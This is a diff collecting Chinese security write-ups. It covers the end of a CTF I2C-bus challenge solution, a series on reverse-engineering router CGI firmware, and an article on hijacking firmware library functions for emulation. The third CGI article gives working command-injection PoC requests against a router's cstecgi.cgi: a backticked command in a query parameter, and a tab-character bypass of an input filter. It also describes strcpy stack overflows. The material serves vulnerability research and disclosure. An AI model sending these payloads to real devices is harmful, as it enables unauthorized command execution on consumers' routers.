总结一下规律:首先从 0x41 读取,然后向 0x41 写入 3f,然后再读取 0x41,最后读取 0x5a 的内容,根据规律可以发现 0x5a 那一部分是内容最多的,里面最有可能隐藏 flag,那这个过程可以猜测为:首先读一下 0x41 的内容看看是不是 1f,是的话向 0x41 写入 0x3f,然后再次读取确认一下,是 0x3f 的话就可以读取 0x5a 的内容了
|
||||
|
||||
另外在题目的源码中有这么一段描述:
|
||||
|
||||
```
|
||||
此挑战运行两分钟,并模拟连接了以下设备的 I2C 总线:
|
||||
- OBC(车载电脑 - 总线主控)
|
||||
- EEP(存储包含 "juicy data" + flag 的设备)
|
||||
- EPS(电力系统控制器)
|
||||
|
||||
OBC 在运行时每十秒轮询一次总线,提供线索,并且通常在大部分时间占用总线。总线数据速率被人为限制以确保这一点。
|
||||
我们需要转储 EEP,但是有两个问题:
|
||||
1) EEP 电源在更新之间关闭。
|
||||
2) OBC 大部分时间都在占用总线。
|
||||
|
||||
通过查看流量,我们看到 OBC 为设备启用电源,从中读取(在不包含标志的随机区域),然后将其关闭。在那之后,在轮询再次开始之前有一个短暂的停顿(几秒钟)。
|
||||
|
||||
理想情况下,参赛者将使用该暂停,发出 I2C 请求以关闭 OBC 的电源,释放总线,以便 EEP 可以在分配的时间内转储。
|
||||
```
|
||||
|
||||
那么 0x41 就是 EPS 电源控制器了,0x5a 是 EEP,也就是存储着 "juicy data" + flag 的存储芯片。EPS 开关控制着我们能不能从 EEP 读取到数据,且每次我们发送开启后都会被再次关闭,根据我们发现的规律,电源控制器的二进制表示的第 6 位表示 EEP 的开关
|
||||
|
||||
| EEP电源开关 |EPS状态(十六进制)| EPS状态(二进制)|
|
||||
|EEP电源开关关闭 | 0x1f | 0001 1111 |
|
||||
| EEP电源开关打开 | 0x3f | 0011 1111 |
|
||||
|
||||
因为总线被 OBC 占用了大部分时间,我们要做的就是发送 IIC 数据,把除了 EEP 之外的设备电源关闭以释放总线资源,EEP电源打开的情况是 00111111,关闭情况是 00011111,因此只打开 EEP 电源的情况是 0010 0000,也就是十六进制的 0x20,因此发送 ^83000020. 即可保持 EEP 打开而其他设备关闭,然后发送以下指令正常读取 EEP 数据即可
|
||||
|
||||
```
|
||||
^b400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
```
|
||||
|
||||

|
||||
读取出来的数据如下,处理后将十六进制值转为字符串得到 flag:
|
||||
|
||||
```
|
||||
^b4+00+00+4a+75+69+63+79+20+44+61+74+61+20+30+30+00+4b+fb+1b+a3+4a+05+7e+a3+63+46+f2+0c+57+b4+eb+50+68+cf+8b+e4+1f+6f+40+7b+91+82+23+fc+65+a6+3a+b0+a1+55+53+eb+5b+d1+8f+be+17+81+cb+6f+35+b6+bf+9e+85+4a+4a+75+69+63+79+20+44+61+74+61+20+30+31+00+d7+ac+75+32+7e+04+f1+95+85+bc+04+bb+72+c4+59+f7+0e+db+9c+c8+9e+bb+14+e2+fe+5b+8c+e6+dd+e5+70+b5+92+e6+e7+10+ea+d8+a5+70+94+aa+2b+06+6e+84+fe+7c+5f+9a+4a+75+69+63+79+20+44+61+74+61+20+30+32+00+90+2e+f3+7b+07+99+eb+9b+43+16+a2+b1+9a+a0+2d+f9+3a+72+f7+8f+cb+d7+e3+80+43+1d+12+94+c7+59+78+58+87+6b+d3+8e+04+be+2a+47+d4+cc+f8+6e+6c+26+67+a6+98+5e+4a+75+69+63+79+20+44+61+74+61+20+30+33+00+f0+28+65+f5+e6+8f+3c+ba+5b+35+28+c7+5b+8f+6d+f3+ee+a2+57+23+bb+3b+9c+f0+31+a9+ed+80+2e+42+57+1e+6a+bc+13+50+4b+50+0a+a6+85+32+6d+e0+c2+da+d3+b0+7c+2b+4a+75+69+63+79+20+44+61+74+61+20+30+34+00+2b+78+13+76+c8+1d+1c+4d+50+89+2d+12+63+01+c2+e0+2c+95+17+92+05+3f+2a+1d+55+43+64+ad+b2+c9+66+6c+61+67+7b+31+32+33+34+7d+00+85+02+5e+86+c4+3e+b2+59+55+4a+75+69+63+79+20+44+61+74+61+20+30+35+00+89+97+f4+29+
|
||||
```
|
||||
|
||||

|
||||
|
||||
参考:
|
||||
|
||||
[https://zhuanlan.zhihu.com/p/503219395](https://zhuanlan.zhihu.com/p/503219395)
|
||||
|
||||
[https://www.elecfans.com/d/1845634.html](https://www.elecfans.com/d/1845634.html)
|
||||
@@ -0,0 +1,142 @@
|
||||
# 固件CGI分析手法(三)
|
||||
> Ayaka
|
||||
> 来源:https://www.iotsec-zone.com/article/198
|
||||
|
||||
通过前两篇文章,我们已经能够分析清楚从用户所点击的web界面的各类功能是在哪里实现的,本篇文章将选取几个笔者发现并上报的具有代表性的漏洞来走近漏洞挖掘实战。
|
||||
|
||||
# 漏洞一:cgi主函数命令注入漏洞
|
||||
|
||||
其实这部分代码在第一篇文章中分析过,不知道那个时候读者有没有发现这里存在的命令注入漏洞
|
||||
|
||||

|
||||
|
||||
这部分代码的逻辑大致为,当请求包的QUERY_STRING中有exportOvpn字样时,先用memset初始化一堆变量,然后用了一个陌生的函数getNthValueSafe,看似实在获取一些参数值,这里我们还是按照第一篇文章中的分析思想,遇到没见过的,明显是写路由器固件的人自己写的库函数时,直接去固件中搜:
|
||||
|
||||

|
||||
|
||||
可以看到这个函数大概率上是在libmystdlib.so中实现的了,我们去分析分析:
|
||||
|
||||

|
||||
|
||||
函数实现非常的直观,并没有更深层的函数需要分析,我们对比着调用时的参数来看,调用时的参数依次为:
|
||||
|
||||
参数一:index
|
||||
参数二:字符串
|
||||
参数三:字符
|
||||
参数四:一段被初始化的空间
|
||||
|
||||
然后回到getNthValueSafe函数本身,它先是通过strchr,在第二个参数中寻找第三个参数,并且寻找的是第index个,然后指针++,即将这个字符后面的一段字符串存到参数4处
|
||||
|
||||
将其放到实际应用场景中,其实很好理解
|
||||
|
||||

|
||||
|
||||
v5是QUERY_STRING,第三个参数是&,它做了一个从请求参数中解析出每个参数的作用,而根据后面的strcmp函数能够分析出来,第一个&后面应该是type=user,所以我们可以构造出一部分poc
|
||||
|
||||
/cgi-bin/cstecgi.cgi?exportOvpn=1&type=user
|
||||
|
||||
继续往下分析,第二个&后面跟的字符串存到了v50,而后再次调用getNthValueSafe,此时的第二个参数是v50,也就是第二个&后面跟的字符串,然后匹配字符是=,所以这里其实就是将v50中等于号后面的字符串放到了v52中
|
||||
|
||||
然后想要进入红框里的逻辑还有需要第三个&后面的字符串为filetype=gz,这样就可以走到snprintf+system的逻辑处,这里的snprintf直接将v52通过%s写入到v56中,随后不经过任何检查直接调用了system(v56),所以只需要让v52中含有类似` 或者$,&,|等类似的符号就可以实现命令注入了
|
||||
|
||||
根据上面的分析,我们写出poc
|
||||
|
||||
```
|
||||
POST /cgi-bin/cstecgi.cgi?exportOvpn=1&type=user&user=`ls>/tmp/1.txt`&filetype=gz HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Length: 60
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
X-Requested-With: XMLHttpRequest
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Origin: http://192.168.0.1
|
||||
Referer: http://192.168.0.1/basic/parental.html?time=1659767109312
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Cookie: uid=XNv1ntlL5i; SESSION_ID=2:1592019966:2
|
||||
Connection: close
|
||||
```
|
||||
|
||||
然后我们实战一下:
|
||||
|
||||

|
||||
|
||||
这里是通过telnet连进的路由器,然后在tmp目录中本来是没有1.txt这个文件的,当我们将poc发送给路由器后,tmp目录下多了一个1.txt,其内容则是ls的结果,证明命令注入成功实现
|
||||
|
||||
这个洞笔者独立发现并上报之后,发现已经有人报过了hhhhhh,不过倒也不差这一个编号
|
||||
|
||||
# 漏洞二:setDiagnosisCfg命令注入漏洞
|
||||
|
||||
首先来看看setDiagnosisCfg实现了一个什么功能:
|
||||

|
||||
|
||||
(这里由于本人的720R昨天晚上被我搞坏了。。所以先用T8凑活一下,好在T8也有这个页面)
|
||||
|
||||
可以看出来,其功能是用户提供一个地址,然后程序会执行ping命令来并抓取结果显示到下面的框中
|
||||
|
||||
然后我们看看cgi中这个函数时如何实现的
|
||||

|
||||
|
||||
非常短小精悍,首先获取ip和num对应就value,然后执行一个check函数,检查一下ip是否合法,通过检查之后通过sprintf组合出一个字符串,然后扔进system里,现在看来,唯一要做的事情就是绕过这个Validity_check,之前已经说过遇到这种固件作者自己写的库函数应该如何找到其具体实现:
|
||||

|
||||
|
||||

|
||||
|
||||
check函数检查了给定字符串中是否含有上图这些特殊符号或者字符串,这些命令规避了大部分命令注入,但是我们发现,它检查了是否有\n,却没有检查它的孪生兄弟\t,那么这是否意味着我们可以借此绕过这个检查呢,一试便知
|
||||
|
||||
写出poc发送给路由器
|
||||
|
||||
```
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Length: 52
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
X-Requested-With: XMLHttpRequest
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Origin: http://192.168.0.1
|
||||
Referer: http://192.168.0.1/advance/diagnosis.html?time=1659889464870
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Cookie: SESSION_ID=2:1591951611:2
|
||||
Connection: close
|
||||
|
||||
{
|
||||
"ip":"aaaa\tls>/tmp/1.txt",
|
||||
"num":"2",
|
||||
"topicurl":"setDiagnosisCfg"
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
可以发现,tmp下面本来没有1.txt,发过我们写的poc之后出现了1.txt,可见我们之前的绕过是成功的,这个洞并没有跟之前的人重复,还算幸运。
|
||||
|
||||
# 漏洞三 setParentalRules函数存在栈溢出
|
||||
|
||||
看过两个命令注入,再来看一个栈溢出漏洞
|
||||
|
||||
其功能为路由器中的家长控制功能:
|
||||

|
||||
|
||||
当我们增添数据的时候,有一个description字段用户完全可控,cgi在实现其功能的时候调用了strcpy函数转存字符串,但是并没有对长度做出任何检测:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
这就导致了栈溢出的发生,这里只用长度很长的字符串来验证,不进行栈溢出的后续利用:
|
||||

|
||||
|
||||
poc包发送之后,现象大致就是家长控制按钮失灵,功能无法启动
|
||||

|
||||
|
||||
# 漏洞四:setUrlFilterRules函数存在栈溢出
|
||||
从名字也能够看出,这应该是一个用于设置url过滤功能的函数,并且这个url是由用户来指定的
|
||||

|
||||
|
||||
但是程序在具体实现的时候,用strcpy复制了来自用户输入的字符串,并且没有对长度做任何检查,而且还是复制到了栈上,这就导致了栈溢出的发生。这个漏洞和上个漏洞比较相似,就不再放效果图
|
||||
|
||||
上面四个漏洞是我选取的这款路由器中比较典型的几个漏洞,其余还有很多,不过大同小异。
|
||||
|
||||
从上面这四个漏洞可以看出,路由器的脆弱点一般在于用户输入,有一种专门跟踪用户输入来寻找程序脆弱点的手段叫污点分析,很多情况下漏洞的产生其实就在于没有对用户的输入进行严格的检测或者判断,从而触发漏洞。所以在分析固件的时候,一个是去寻找敏感函数,如system,execve或者popen等容易触发命令注入的地方,还有就是关注strcpy,memcpy等容易因长度检测不严格导致的栈溢出,如果从用户操作角度来寻找漏洞,则是在路由器web界面中寻找哪里是用户可以进行任意输入的地方,从这些地方出发会更加容易的找到路由器的漏洞。
|
||||
@@ -0,0 +1,140 @@
|
||||
# 固件CGI分析手法(二)
|
||||
> Ayaka
|
||||
> 来源:https://www.iotsec-zone.com/article/195
|
||||
|
||||
#[前文回顾](https://www.iotsec-zone.com/article?id=194)
|
||||
我们跟随cgi执行流程来到了label 47,然后分析了cJSON_Parse和websGetVar函数的功能
|
||||

|
||||
|
||||
接下来我们继续分析cgi是如何在这里分发路由器web界面众多按钮对应的众多功能的
|
||||
|
||||
#正文
|
||||
|
||||
首先我们看这部分结构,通过strstr函数来判断v27中是否包含get字样
|
||||
|
||||

|
||||
|
||||
这里的v27来自于json数据中的topicurl字段,即执行的函数名
|
||||

|
||||
|
||||
如果要执行的函数名中带有get字样,则会进入一个while循环,不断的在一个函数表结构中去对比函数名和函数表中的字符串,如果相等则跳转到函数表中对应的函数地址去
|
||||
|
||||

|
||||
|
||||
接下来我们道函数表中查看一下结构如何:
|
||||

|
||||
可以看到函数表中充斥着这种一块一块的数据,通过之前的分析我们得到的结论是程序会在一个while循环中不停的把topicurl参数和函数表中的函数名做比较,如果比较成功则选择到对应的函数地址并跳转过去,所以函数表中应该存有两个东西,一个是函数名一个是函数地址,只不过IDA中并没有恢复出来,所以我们看到的是单字节的数据,可以通过快捷键d手工的改变一下数据类型来恢复出结构
|
||||

|
||||
|
||||
恢复完的效果如上,而类似的函数表结构共有三个,分别代表了路由器函数中的三大类:
|
||||
* **get类函数族**
|
||||

|
||||
|
||||
* **set类函数族**
|
||||

|
||||
|
||||
* **del类函数族以及杂项函数**
|
||||

|
||||
|
||||
首先来分析一下get类函数的运行机制,从最基本的函数getInitCfg入手,首先我们要清楚这个函数在什么情况下会被调用:
|
||||

|
||||
|
||||
当我们进入到路由器的基本设置的首页时,会发现这里显示了很多路由器的基本设置信息,比如固件版本,运行时间,MAC地址等等,那么这些信息是如何从固件中传到web界面来的呢?我们抓个包试试
|
||||
|
||||
```
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Length: 25
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
X-Requested-With: XMLHttpRequest
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Origin: http://192.168.0.1
|
||||
Referer: http://192.168.0.1/basic/index.html?time=1660284636980
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Cookie: SESSION_ID=2:1591951493:2
|
||||
Connection: close
|
||||
|
||||
{"topicurl":"getInitCfg"}
|
||||
```
|
||||
|
||||
可以看到,程序通过POST请求,向cstecgi程序提交了一个请求,其中函数名参数topicurl为getInitCfg,再来看看响应包中有什么信息:
|
||||

|
||||
|
||||
可以看懂啊响应包中有一个json格式的数据,其中包含了大量的路由器基本信息,也就是说我们在web界面看到的信息,经历了这样一个流程:
|
||||
|
||||
用户点击首页,web界面设置好所用方法以及正确的参数,构造请求包,发给cgi程序,cgi程序接收到请求之后,通过topicurl,确定要执行的函数,执行对应的函数后,构造响应包产生响应,给前端提供所需信息。
|
||||
|
||||
接下来我们来分析getInitCfg是如何执行的:
|
||||

|
||||
|
||||
首先程序调用了cJSON_CreateObject创建了一个json对象,这个函数具体在哪实现如何实现,上篇文章已经说过了如何看,有兴趣的话可以看看。
|
||||
|
||||
然后初始化了几个字符串变量,接下来的几乎所有字符串都通过它来处理
|
||||

|
||||
|
||||
然后通过apmib_get函数获取所需数据到指定变量中
|
||||
|
||||
接下来通过cJSON_CreateString函数和cJSON_AddItemToObject函数将装有指定数据的字符串添加到json对象中
|
||||
```
|
||||
cJSON_AddItemToObject(Object, "model", String)
|
||||
```
|
||||
可以通过参数很明显的看出来,第一个参数应该是要添加到哪个json对象中,第二个参数则是添加的item的key,第三个参数则是item的value
|
||||
|
||||

|
||||
|
||||
一个变量用过之后可能会通过memset函数重复使用
|
||||

|
||||
|
||||
getInitCfg函数不断的重复上述过程,将所有所需数据形成一个json对象,这就是我们在响应包里看到的这个东西
|
||||

|
||||
|
||||
分析到这里其实我们可以发现,所有get族的函数,其实都是在获取信息,那么意味着什么?我们可操作的空间很小,即用户的数据基本无法对这些get族的函数产生什么影响,所以漏洞一般来说很少发生在get族的函数中,接下来我们看看set族的函数又是如何做的
|
||||
|
||||
这里选择一个短小精悍的修改密码功能:
|
||||

|
||||
|
||||
通过抓包来分析一下请求包结构:
|
||||
```
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Length: 80
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
X-Requested-With: XMLHttpRequest
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Origin: http://192.168.0.1
|
||||
Referer: http://192.168.0.1/advance/changepwd.html?time=1660289682741
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Cookie: SESSION_ID=2:1591956512:2
|
||||
Connection: close
|
||||
|
||||
{
|
||||
"admuser":"admin",
|
||||
"admpass":"bbb",
|
||||
"origPass":"aaa",
|
||||
"topicurl":"setPasswordCfg"
|
||||
}
|
||||
```
|
||||
这里发现,其实请求包只有用户名,原密码,新密码以及执行函数名,并没有前端页面中所谓的确认密码,所以可以看出来这里的确认密码部分是由前端来完成的。
|
||||
|
||||
然后来看看setPasswordCfg函数长什么样:
|
||||

|
||||
|
||||
可以看到程序首先通过websGetVar函数获取请求包json数据中的各个变量,然后通过apmib_get函数获取存储在后端的密码,放到v9变量里,然后比较一下用户在前端输入的origPass,是否能和后端存储的密码匹配上,如果不匹配说明用户输入了错误的原密码,所以跳到else的逻辑中,创建一个json对象,添加一个item,其key为success,value是false,这里我们可以来试一下是不是我们分析的这样,首先随便输入个原密码和新密码,然后获取响应包:
|
||||

|
||||
|
||||
和我们分析的结果一致,然后再来看看当输入的原密码和存在本地的密码匹配上之后,程序做了什么:
|
||||

|
||||
|
||||
程序通过apmib_set函数,将用户名和新的密码写入到本地,然后调用了一个函数,点进去可以看到实际上调用的是apmib_update:
|
||||

|
||||
|
||||
到这里已经成功更新了admin用户的密码,接下来是构造响应包:
|
||||

|
||||
|
||||
所以可以看到,set族的函数是受到用户输入影响比较大的,同时也意味着是比较容易出现各类溢出以及命令注入等漏洞的,笔者从买来这款路由器到现在两周左右的时间,已经上报了十余个漏洞,涵盖溢出,信息泄露,命令注入等等方面,基本上都是出现在set族函数中。
|
||||
|
||||
del族的函数以及杂类的函数就不再展开分析了,除了具体的处理逻辑之外整体上的分析方法和上面两种区别不太大,留给读者自行尝试,下一篇文章将拿出一部分我上报的漏洞,从固件分析入门走向漏洞挖掘实战。
|
||||
@@ -0,0 +1,421 @@
|
||||
# 固件安全-函数劫持以及patch
|
||||
> s3cana
|
||||
> 来源:https://www.iotsec-zone.com/article/153
|
||||
|
||||
在针对固件的模拟过程中可能会遇到因为固件中函数依赖于硬件的问题导致无法正常对固件进行模拟,这个时候往往需要对固件中的函数进行劫持或者patch ,本文总结了以下四种可用方式,其中LD_PRELOAD目前已经有大量材料进行介绍,不作为主要内容。本文主要介绍了后三种的劫持思路,不足之处欢迎大家指正。
|
||||
● LD_PRELOAD
|
||||
● dl_open
|
||||
● LD_LIBRARY_PATH
|
||||
● 直接针对二进制文件的patch
|
||||
## 通过LD_PRELOAD实现劫持
|
||||
● 在《揭秘家用路由器0day漏洞利用挖掘技术》一书中,第3.1.2节中介绍了通过LD_PRELOAD来劫持apmib_init函数,从而修复在漏洞挖掘过程中固件函数导致的崩溃问题。该书中内容完全可以复现,不做过多陈述。
|
||||
● 但是通过LD_PRELOAD的劫持当在编译uclibc的时候,一旦关闭了LD_PRELOAD选项,该劫持方式便不再适用。本文通过后续的三种方案,来实现在LD_PRELOAD失效的时候提供一种固件劫持的思路。
|
||||
## 通过dlopen的劫持
|
||||
以下的两种方案可以通过不借助LD_PRELOAD,使用dlopen做wrapper来实现对原函数的劫持
|
||||
### 方案一
|
||||
● dlopen函数可以打开.so的动态链接库文件,并返回库函数的句柄信息,实际上是通过wrapper实现。
|
||||
● 首先将原apmib.so重命名为 libapmib_orig.so
|
||||

|
||||
● 在lib目录下,新建apmib.c 文件,代码内容如下
|
||||
```
|
||||
#include<stdio.h>
|
||||
#define MIB_HW_VER 0x250
|
||||
#define MIB_IP_ADDR 170
|
||||
#define MIB_CAPTCHA 0x2C1
|
||||
#include <dlfcn.h>
|
||||
static void* lib_handle = NULL;
|
||||
__attribute__((constructor)) _init_apmib()
|
||||
{
|
||||
lib_handle = dlopen("libapmib_orig.so",RTLD_NOW | RTLD_GLOBAL); // 注意:已经改名字了
|
||||
}
|
||||
|
||||
__attribute__((destructor)) void _fini_apmib()
|
||||
{
|
||||
dlclose(lib_handle);
|
||||
}
|
||||
//libapmib_orig
|
||||
int apmib_init(void){
|
||||
printf("helllo");
|
||||
return 1;
|
||||
}
|
||||
int fork(void){
|
||||
return 0;
|
||||
}
|
||||
void apmib_get(int code,int *value){
|
||||
switch(code){
|
||||
case MIB_HW_VER:
|
||||
*value = 1;
|
||||
break;
|
||||
case MIB_IP_ADDR:
|
||||
*value = 1;
|
||||
break;
|
||||
case MIB_CAPTCHA:
|
||||
*value = 1;
|
||||
break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
```
|
||||
* 注意这里的编译过程,对dlopen以及dlclose的链接要使用提取的文件系统中的libdl.so.0,在实际的测试过程中,为保证链接正确我将libdl.so.0拷贝后,重命名为libdln.so。
|
||||

|
||||
* 将apmib.c重新编译为apmib.so
|
||||
```
|
||||
mips-linux-gcc -shared -fPIC apmib.c -o apmib.so -ldln -lapmib_orig -L /home/kali/Downloads/d-link/DIR605A/_DIR605/squashfs-root-0/
|
||||
```
|
||||
* 通过qemu-static-mips进行测试,实现劫持
|
||||
```
|
||||
sudo chroot ./ ./qemu-mips-static ./bin/boa
|
||||
```
|
||||

|
||||
### 方案二
|
||||
* 新建文件 apmib_2.c
|
||||
```
|
||||
#include <stdio.h>
|
||||
int apmib_init(void){
|
||||
printf("helllo2");
|
||||
return 1;
|
||||
}
|
||||
int fork(void){
|
||||
return 0;
|
||||
}
|
||||
void apmib_get(int code,int *value){
|
||||
switch(code){
|
||||
case MIB_HW_VER:
|
||||
*value = 1;
|
||||
break;
|
||||
case MIB_IP_ADDR:
|
||||
*value = 1;
|
||||
break;
|
||||
case MIB_CAPTCHA:
|
||||
*value = 1;
|
||||
break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
```
|
||||
* mips-linux-gcc进行编译
|
||||
```
|
||||
mips-linux-gcc -shared -fPIC -o apmib.so -ldln -lapmib_orig -L. -D_GNU_SOURCE apmib_2.c
|
||||
```
|
||||
* 对编译后的apmib.so进行测试
|
||||
```
|
||||
sudo chroot ./ ./qemu-mips-static ./bin/boa
|
||||
```
|
||||

|
||||
### 总结
|
||||
* 以上两种方法的根本是将原有的apmib.so 库文件重命名后再编译可控的apmib.so 库文件,新编译的apmib.so库文件依赖于原有的apmib.so库文件,并在新的apmib.c文件中查找到原有的函数即可实现调用
|
||||
* 如参考文章中所述,以上的两种方式也有一定的限制条件,
|
||||
○ 比如方案二仅仅适用于GNU的系统 ,两者都仅对弱符号劫持可用
|
||||
○ 优点是我们只需要知道部分需要劫持的函数原型即可。
|
||||
* 通过以上两种方式,我们后续在编译链接的过程中也可以学习在进行动态链接编译的时候,我们具备已有的.so文件,即可通过gcc 的 -l 编译参数进行链接即可。
|
||||
## 通过DYNAMIC Segment的劫持
|
||||
### 方案
|
||||
* 利用dynamic和elf_hash之间的空余区域,在该区域伪造出新的dynamic的一个数组。如下图,不修改二进制文件大小,伪造增添ibcjson.so,使得二进制文件加载 ibcjson.so。在ibcjson.so中编写对应的劫持函数。
|
||||

|
||||
* 思路: 将原有的Elf32_Dyn数组元素依次后移,并在该数组的首部添加伪造的ibcjson.so,该lib的命名可以选用string table中的任一字符串即可。
|
||||

|
||||
* 核心移动代码,将Elf32_Dyn中的元素依次后移一个,dynamic段 dynamic[0]元素作为要伪造填充的数据,在本文的实验中,将dynamic[0]中的value值加1。由于在MIPS下存在大小端两种架构,在小端机器上的代码解决大端架构的填充伪造时要注意大小端的转换问题。
|
||||
### 测试
|
||||
* TOTOLink N210RE中boa程序,劫持函数参考DIR605A,劫持apmib_init以及apmib_get
|
||||
* 该固件的ld,关闭了LD_PRELOAD程序选项,未提供/etc/ld.preload
|
||||
* 劫持函数代码,采用了《揭秘家用路由器漏洞挖掘》提供的示例代码如下,在原有的基础上,增加printf来查看显示是否劫持成功。
|
||||
```
|
||||
#include<stdio.h>
|
||||
#define MIB_HW_VER 0x250
|
||||
#define MIB_IP_ADDR 170
|
||||
#define MIB_CAPTCHA 0x2C1
|
||||
int apmib_init(void){
|
||||
printf("helllo");
|
||||
return 1;
|
||||
}
|
||||
int fork(void){
|
||||
return 0;
|
||||
}
|
||||
void apmib_get(int code,int *value){
|
||||
switch(code){
|
||||
case MIB_HW_VER:
|
||||
*value = 1;
|
||||
break;
|
||||
case MIB_IP_ADDR:
|
||||
*value = 1;
|
||||
break;
|
||||
case MIB_CAPTCHA:
|
||||
*value = 1;
|
||||
break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
//mips-linux-gcc -Wall -fPIC -shared apmib.c -o ibcjson.so
|
||||
```
|
||||
* 通过如下代码,给原有的boa二进制文件添加一个dynamic
|
||||
|
||||
```
|
||||
#include<stdio.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "elf.h"
|
||||
#define PATCH "boa_patch"
|
||||
int b2l(int be)
|
||||
{
|
||||
return ((be >> 24) &0xff )
|
||||
| ((be >> 8) & 0xFF00)
|
||||
| ((be << 8) & 0xFF0000)
|
||||
| ((be << 24));
|
||||
}
|
||||
char* buf = NULL;
|
||||
int l2b(int le) {
|
||||
|
||||
return (le & 0xff) << 24
|
||||
| (le & 0xff00) << 8
|
||||
| (le & 0xff0000) >> 8
|
||||
| (le >> 24) & 0xff;
|
||||
}
|
||||
static char *_get_interp(char *buf)
|
||||
{
|
||||
int x;
|
||||
|
||||
// Check for the existence of a dynamic loader
|
||||
Elf_Ehdr *hdr = (Elf_Ehdr *)buf;
|
||||
Elf_Phdr *phdr = (Elf_Phdr * )(buf + l2b(hdr->e_phoff));
|
||||
printf("the phdr address is: 0x%x 0x%x 0x%x 0x%x\n",phdr,l2b(hdr->e_phoff),buf,sizeof(hdr->e_phoff));
|
||||
for(x = 0; x < hdr->e_phnum; x++){
|
||||
if(l2b(phdr[x].p_type) == PT_DYNAMIC){
|
||||
// There is a dynamic loader present, so load it
|
||||
return buf + l2b(phdr[x].p_offset);
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
int mem_cpy(char* src,char* dst,int len){
|
||||
printf("the src addr is %x , %x\n",src-buf,dst-buf);
|
||||
for(int x=0;x<len;x++){
|
||||
dst[x]=src[x];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
/*
|
||||
1 2 3 4
|
||||
|
||||
temp = 2
|
||||
strcpy(1,2)
|
||||
1 2
|
||||
strcpy()
|
||||
|
||||
*/
|
||||
void move_dynamic(char* buf){
|
||||
int x = 0;
|
||||
Elf32_Dyn* dyn = (Elf32_Dyn *)buf;
|
||||
//Elf32_Dyn tmp_dyn;
|
||||
//mem_cpy()
|
||||
while(1){
|
||||
if(dyn[x].d_tag == 0 && dyn[x].d_un.d_ptr == 0){
|
||||
printf("the x is %d\n",x);
|
||||
break;
|
||||
}
|
||||
x++;
|
||||
if(x>100) {
|
||||
printf("Error break\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
while(x--){
|
||||
//printf("the index x is %x\n",x);
|
||||
mem_cpy(&dyn[x],&dyn[x+1],8);
|
||||
}
|
||||
dyn[x+1].d_un.d_val = b2l(l2b(dyn[x+1].d_un.d_val) + 1);
|
||||
//FILE* fw = fopen("")
|
||||
}
|
||||
void analyse(char* buf){
|
||||
char* phdr_address = NULL;
|
||||
phdr_address = _get_interp(buf);
|
||||
printf("phdr address: 0x%x\n",phdr_address-buf);
|
||||
move_dynamic(phdr_address);
|
||||
|
||||
}
|
||||
void save_binary(char* buf,int size){
|
||||
FILE* fw = fopen(PATCH,"wb");
|
||||
fwrite(buf,size,1,fw);
|
||||
fclose(fw);
|
||||
}
|
||||
int main(int argc,char *argv[],char* envp[]){
|
||||
if(argc < 2){
|
||||
printf("not enough argc\n");
|
||||
}
|
||||
FILE* fp = fopen(argv[1],"rb");
|
||||
|
||||
fseek(fp,0,SEEK_END);
|
||||
int size = ftell(fp);
|
||||
fseek(fp, 0L, SEEK_SET);
|
||||
buf = malloc(size);
|
||||
fread(buf,size,1,fp);
|
||||
analyse(buf);
|
||||
save_binary(buf,size);
|
||||
free(buf);
|
||||
return 0;
|
||||
|
||||
}
|
||||
```
|
||||
* Makefile如下
|
||||
```
|
||||
all: elf.h analyse_ph.c
|
||||
gcc analyse_ph.c -m32 -g3 -o analyse
|
||||
./analyse boa_real_n210
|
||||
```
|
||||
* 针对N210RE 的测试截图如下,通过export LD_LIBRARY_PATH使得程序加载ibcjson.so,成功劫持boa,输出helllo
|
||||

|
||||
### 总结
|
||||
